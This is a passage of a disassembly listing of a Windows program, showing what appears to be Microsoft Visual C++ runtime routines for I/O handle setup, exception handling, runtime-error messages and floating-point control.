		jz	short loc_41D75C
		add	dword_493F9C, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D733:				; CODE XREF: sub_41D67E+CFj
		cmp	eax, ecx
		jnb	short loc_41D74F
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D733
; ---------------------------------------------------------------------------


loc_41D74F:				; CODE XREF: sub_41D67E+B7j
		add	edi, 4
		cmp	dword_493F9C, esi
		jl	short loc_41D715
		jmp	short loc_41D762
; ---------------------------------------------------------------------------


loc_41D75C:				; CODE XREF: sub_41D67E+A4j
		mov	esi, dword_493F9C


loc_41D762:				; CODE XREF: sub_41D67E+90j
					; sub_41D67E+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D7AE


loc_41D768:				; CODE XREF: sub_41D67E+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D7A5
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D7A5
		test	cl, 8
		jnz	short loc_41D787
		push	eax
		call	ds:dword_495314	; GetFileType
		test	eax, eax
		jz	short loc_41D7A5


loc_41D787:				; CODE XREF: sub_41D67E+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_493E60[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D7A5:				; CODE XREF: sub_41D67E+EFj
					; sub_41D67E+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D768


loc_41D7AE:				; CODE XREF: sub_41D67E+65j
					; sub_41D67E+71j ...
		xor	ebx, ebx


loc_41D7B0:				; CODE XREF: sub_41D67E+195j
		mov	eax, dword_493E60
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D80B
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D7CB
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D7D5
; ---------------------------------------------------------------------------


loc_41D7CB:				; CODE XREF: sub_41D67E+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D7D5:				; CODE XREF: sub_41D67E+14Bj
		push	eax
		call	ds:dword_495318	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D7FA
		push	edi
		call	ds:dword_495314	; GetFileType
		test	eax, eax
		jz	short loc_41D7FA
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D800


loc_41D7FA:				; CODE XREF: sub_41D67E+163j
					; sub_41D67E+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D80F
; ---------------------------------------------------------------------------


loc_41D800:				; CODE XREF: sub_41D67E+17Aj
		cmp	eax, 3
		jnz	short loc_41D80F
		or	byte ptr [esi+4], 8
		jmp	short loc_41D80F
; ---------------------------------------------------------------------------


loc_41D80B:				; CODE XREF: sub_41D67E+13Ej
		or	byte ptr [esi+4], 80h


loc_41D80F:				; CODE XREF: sub_41D67E+180j
					; sub_41D67E+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D7B0
		push	dword_493F9C
		call	ds:dword_49531C	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41D67E	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset dword_493E60


loc_41D82F:				; CODE XREF: .text:0041D848j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41D83F
		push	eax
		call	sub_415D6C
		and	dword ptr [esi], 0
		pop	ecx


loc_41D83F:				; CODE XREF: .text:0041D833j
		add	esi, 4
		cmp	esi, offset dword_493F60
		jl	short loc_41D82F
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D854	proc near		; DATA XREF: sub_417ED0+Ao
					; sub_41A41C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D8F4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D887:				; CODE XREF: sub_41D854+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D8ED
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D8DB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D8DB
		js	short loc_41D8E6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4162C8
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41630A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41639E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D8DB:				; CODE XREF: sub_41D854+40j
					; sub_41D854+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D887
; ---------------------------------------------------------------------------


loc_41D8E6:				; CODE XREF: sub_41D854+54j
		mov	eax, 0
		jmp	short loc_41D909
; ---------------------------------------------------------------------------


loc_41D8ED:				; CODE XREF: sub_41D854+36j
		mov	eax, 1
		jmp	short loc_41D909
; ---------------------------------------------------------------------------


loc_41D8F4:				; CODE XREF: sub_41D854+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41630A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D909:				; CODE XREF: sub_41D854+97j
					; sub_41D854+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D854	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41630A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D92C	proc near		; CODE XREF: sub_417FC6+9p
					; sub_417FEB+9p
		mov	eax, dword_492848
		cmp	eax, 1
		jz	short loc_41D943
		test	eax, eax
		jnz	short locret_41D964
		cmp	dword_435AA4, 1
		jnz	short locret_41D964


loc_41D943:				; CODE XREF: sub_41D92C+8j
		push	0FCh
		call	sub_41D965
		mov	eax, dword_4929B0
		pop	ecx
		test	eax, eax
		jz	short loc_41D959
		call	eax


loc_41D959:				; CODE XREF: sub_41D92C+29j
		push	0FFh
		call	sub_41D965
		pop	ecx

locret_41D964:				; CODE XREF: sub_41D92C+Cj
					; sub_41D92C+15j
		retn
sub_41D92C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D965	proc near		; CODE XREF: sub_417FC6+12p
					; sub_417FEB+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_436138


loc_41D978:				; CODE XREF: sub_41D965+20j
		cmp	edx, [eax]
		jz	short loc_41D987
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_4361C8
		jl	short loc_41D978


loc_41D987:				; CODE XREF: sub_41D965+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_436138[esi]
		jnz	loc_41DAB5
		mov	eax, dword_492848
		cmp	eax, 1
		jz	loc_41DA8F
		test	eax, eax
		jnz	short loc_41D9B8
		cmp	dword_435AA4, 1
		jz	loc_41DA8F


loc_41D9B8:				; CODE XREF: sub_41D965+44j
		cmp	edx, 0FCh
		jz	loc_41DAB5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:dword_495330	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41D9EF
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4175D0
		pop	ecx
		pop	ecx


loc_41D9EF:				; CODE XREF: sub_41D965+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4158E0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41DA32
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4158E0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416A10
		add	esp, 10h


loc_41DA32:				; CODE XREF: sub_41D965+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4175D0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4175E0
		lea	eax, [ebp+var_A0]
		push	offset asc_427AF0 ; "\n\n"
		push	eax
		call	sub_4175E0
		push	off_43613C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4175E0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41F80A
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41DAB5
; ---------------------------------------------------------------------------


loc_41DA8F:				; CODE XREF: sub_41D965+3Cj
					; sub_41D965+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43613C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4158E0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_495318	; GetStdHandle
		push	eax
		call	ds:dword_49535C	; WriteFile


loc_41DAB5:				; CODE XREF: sub_41D965+2Ej
					; sub_41D965+59j ...
		pop	esi
		leave
		retn
sub_41D965	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		xor	edx, edx
		mov	eax, offset dword_436138


loc_41DAC3:				; CODE XREF: .text:0041DAD0j
		cmp	ecx, [eax]
		jz	short loc_41DAD2
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_4361C8
		jl	short loc_41DAC3


loc_41DAD2:				; CODE XREF: .text:0041DAC5j
		mov	eax, edx
		shl	eax, 3
		cmp	ecx, dword_436138[eax]
		jnz	short loc_41DAE6
		mov	eax, off_43613C[eax]
		retn
; ---------------------------------------------------------------------------


loc_41DAE6:				; CODE XREF: .text:0041DADDj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DAE9	proc near		; DATA XREF: sub_41DB2Fo
					; .data:00435AC0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DB0C
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DB0C
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DB0C
		jmp	sub_41A91C
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DAE9+Dj
					; sub_41DAE9+13j ...
		mov	eax, dword_4929B4
		test	eax, eax
		jz	short loc_41DB29
		push	eax
		call	sub_41E3A2
		test	eax, eax
		pop	ecx
		jz	short loc_41DB29
		push	esi
		call	dword_4929B4
		jmp	short loc_41DB2B
; ---------------------------------------------------------------------------


loc_41DB29:				; CODE XREF: sub_41DAE9+2Aj
					; sub_41DAE9+35j
		xor	eax, eax


loc_41DB2B:				; CODE XREF: sub_41DAE9+3Ej
		pop	esi
		retn	4
sub_41DAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB2F	proc near		; DATA XREF: .data:00429528o
		push	offset sub_41DAE9
		call	ds:dword_495310	; SetUnhandledExceptionFilter
		mov	dword_4929B4, eax
		retn
sub_41DB2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB40	proc near		; DATA XREF: .data:00429B40o
		push	dword_4929B4
		call	ds:dword_495310	; SetUnhandledExceptionFilter
		retn
sub_41DB40	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB4D	proc near		; CODE XREF: sub_4198D1+52p
		xor	eax, eax
		retn
sub_41DB4D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	word ptr [ebp-4]
		push	dword ptr [ebp-4]
		call	sub_41DD07
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	word ptr [ebp-4]
		fnclex
		push	dword ptr [ebp-4]
		call	sub_41DD07
		pop	ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB77	proc near		; CODE XREF: sub_41DBAC+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41DBEC
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41DC7E
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41DB77	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBAC	proc near		; CODE XREF: sub_419C21+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41DB77
		pop	ecx
		pop	ecx
		retn
sub_41DBAC	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, dword_4928A4
		fninit
		call	sub_419C21
		test	esi, esi
		jz	short loc_41DBEA
		mov	eax, [esi+4]
		test	dword ptr [eax], 10008h
		jz	short loc_41DBEA
		and	dword ptr [eax+20h], 0
		mov	dword ptr [eax+24h], 0FFFFh


loc_41DBEA:				; CODE XREF: .text:0041DBD2j
					; .text:0041DBDDj
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DBEC	proc near		; CODE XREF: sub_41DB77+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41DBFD
		push	10h
		pop	eax


loc_41DBFD:				; CODE XREF: sub_41DBEC+Cj
		test	bl, 4
		jz	short loc_41DC04
		or	al, 8


loc_41DC04:				; CODE XREF: sub_41DBEC+14j
		test	bl, 8
		jz	short loc_41DC0B
		or	al, 4


loc_41DC0B:				; CODE XREF: sub_41DBEC+1Bj
		test	bl, 10h
		jz	short loc_41DC12
		or	al, 2


loc_41DC12:				; CODE XREF: sub_41DBEC+22j
		test	bl, 20h
		jz	short loc_41DC19
		or	al, 1


loc_41DC19:				; CODE XREF: sub_41DBEC+29j
		test	bl, 2
		jz	short loc_41DC23
		or	eax, 80000h


loc_41DC23:				; CODE XREF: sub_41DBEC+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41DC5B
		cmp	edx, 400h
		jz	short loc_41DC58
		cmp	edx, 800h
		jz	short loc_41DC54
		cmp	edx, esi
		jnz	short loc_41DC5B
		or	eax, edi
		jmp	short loc_41DC5B
; ---------------------------------------------------------------------------


loc_41DC54:				; CODE XREF: sub_41DBEC+5Ej
		or	eax, ebp
		jmp	short loc_41DC5B
; ---------------------------------------------------------------------------


loc_41DC58:				; CODE XREF: sub_41DBEC+56j
		or	ah, 1


loc_41DC5B:				; CODE XREF: sub_41DBEC+4Ej
					; sub_41DBEC+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41DC6B
		cmp	ecx, ebp
		jnz	short loc_41DC70
		or	eax, 10000h
		jmp	short loc_41DC70
; ---------------------------------------------------------------------------


loc_41DC6B:				; CODE XREF: sub_41DBEC+72j
		or	eax, 20000h


loc_41DC70:				; CODE XREF: sub_41DBEC+76j
					; sub_41DBEC+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41DC7D
		or	eax, 40000h

locret_41DC7D:				; CODE XREF: sub_41DBEC+8Aj
		retn
sub_41DBEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC7E	proc near		; CODE XREF: sub_41DB77+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41DC8E
		push	1
		pop	eax


loc_41DC8E:				; CODE XREF: sub_41DC7E+Bj
		test	bl, 8
		jz	short loc_41DC95
		or	al, 4


loc_41DC95:				; CODE XREF: sub_41DC7E+13j
		test	bl, 4
		jz	short loc_41DC9C
		or	al, 8


loc_41DC9C:				; CODE XREF: sub_41DC7E+1Aj
		test	bl, 2
		jz	short loc_41DCA3
		or	al, 10h


loc_41DCA3:				; CODE XREF: sub_41DC7E+21j
		test	bl, 1
		jz	short loc_41DCAA
		or	al, 20h


loc_41DCAA:				; CODE XREF: sub_41DC7E+28j
		test	ebx, 80000h
		jz	short loc_41DCB4
		or	al, 2


loc_41DCB4:				; CODE XREF: sub_41DC7E+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41DCE1
		cmp	ecx, 100h
		jz	short loc_41DCDE
		cmp	ecx, esi
		jz	short loc_41DCD9
		cmp	ecx, edx
		jnz	short loc_41DCE1
		or	ah, 0Ch
		jmp	short loc_41DCE1
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41DC7E+50j
		or	ah, 8
		jmp	short loc_41DCE1
; ---------------------------------------------------------------------------


loc_41DCDE:				; CODE XREF: sub_41DC7E+4Cj
		or	ah, 4


loc_41DCE1:				; CODE XREF: sub_41DC7E+44j
					; sub_41DC7E+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41DCF7
		cmp	ecx, 10000h
		jnz	short loc_41DCF9
		or	eax, esi
		jmp	short loc_41DCF9
; ---------------------------------------------------------------------------


loc_41DCF7:				; CODE XREF: sub_41DC7E+6Bj
		or	eax, edx


loc_41DCF9:				; CODE XREF: sub_41DC7E+73j
					; sub_41DC7E+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41DD06
		or	ah, 10h

locret_41DD06:				; CODE XREF: sub_41DC7E+83j
		retn
sub_41DC7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD07	proc near		; CODE XREF: .text:0041DB5Bp
					; .text:0041DB6Fp

arg_0		= byte ptr  4

		mov	cl, [esp+arg_0]
		xor	eax, eax
		test	cl, 1
		jz	short loc_41DD15
		push	10h
		pop	eax


loc_41DD15:				; CODE XREF: sub_41DD07+9j
		test	cl, 4
		jz	short loc_41DD1C
		or	al, 8


loc_41DD1C:				; CODE XREF: sub_41DD07+11j
		test	cl, 8
		jz	short loc_41DD23
		or	al, 4


loc_41DD23:				; CODE XREF: sub_41DD07+18j
		test	cl, 10h
		jz	short loc_41DD2A
		or	al, 2


loc_41DD2A:				; CODE XREF: sub_41DD07+1Fj
		test	cl, 20h
		jz	short loc_41DD31
		or	al, 1


loc_41DD31:				; CODE XREF: sub_41DD07+26j
		test	cl, 2
		jz	short locret_41DD3B
		or	eax, 80000h

locret_41DD3B:				; CODE XREF: sub_41DD07+2Dj
		retn
sub_41DD07	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD3C	proc near		; CODE XREF: sub_41DDDB+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41DD81
		inc	esi
		cmp	esi, 3
		jge	short loc_41DD7C
		lea	eax, [eax+esi*4]


loc_41DD6E:				; CODE XREF: sub_41DD3C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41DD81
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41DD6E


loc_41DD7C:				; CODE XREF: sub_41DD3C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DD81:				; CODE XREF: sub_41DD3C+27j
					; sub_41DD3C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41DD3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD85	proc near		; CODE XREF: sub_41DDDB+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F893
		add	esp, 0Ch
		dec	esi
		js	short loc_41DDD7
		lea	edi, [ebx+esi*4]


loc_41DDBE:				; CODE XREF: sub_41DD85+50j
		test	eax, eax
		jz	short loc_41DDD7
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F893
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41DDBE


loc_41DDD7:				; CODE XREF: sub_41DD85+34j
					; sub_41DD85+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDDB	proc near		; CODE XREF: sub_41DF36+81p
					; sub_41DF36+CCp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DE3F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41DD3C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DE3C
		push	edi
		push	[ebp+arg_0]
		call	sub_41DD85
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41DE3C:				; CODE XREF: sub_41DDDB+51j
		mov	eax, [ebp+arg_4]


loc_41DE3F:				; CODE XREF: sub_41DDDB+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DE5F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41DE5F:				; CODE XREF: sub_41DDDB+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE67	proc near		; CODE XREF: sub_41DF36+75p
					; sub_41DF36+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41DE75:				; CODE XREF: sub_41DE67+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DE75
		pop	esi
		retn
sub_41DE67	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE82	proc near		; CODE XREF: sub_41DF36+5Fp
					; sub_41DF36+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE8E	proc near		; CODE XREF: sub_41DF36+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41DE94:				; CODE XREF: sub_41DE8E+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DEA6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DE94
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41DE8E+9j
		xor	eax, eax
		retn
sub_41DE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA9	proc near		; CODE XREF: sub_41DF36+C0p
					; sub_41DF36+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41DEDF:				; CODE XREF: sub_41DEA9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DEDF
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41DF11:				; CODE XREF: sub_41DEA9+86j
		cmp	ebx, edi
		jl	short loc_41DF24
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DF2B
; ---------------------------------------------------------------------------


loc_41DF24:				; CODE XREF: sub_41DEA9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41DF2B:				; CODE XREF: sub_41DEA9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DF11
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF36	proc near		; CODE XREF: sub_41E0A2+Dp
					; sub_41E0B8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DFA3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DE8E
		test	eax, eax
		pop	ecx
		jnz	loc_41E062
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE82
		pop	ecx


loc_41DF9B:				; CODE XREF: sub_41DF36+E4j
		push	2


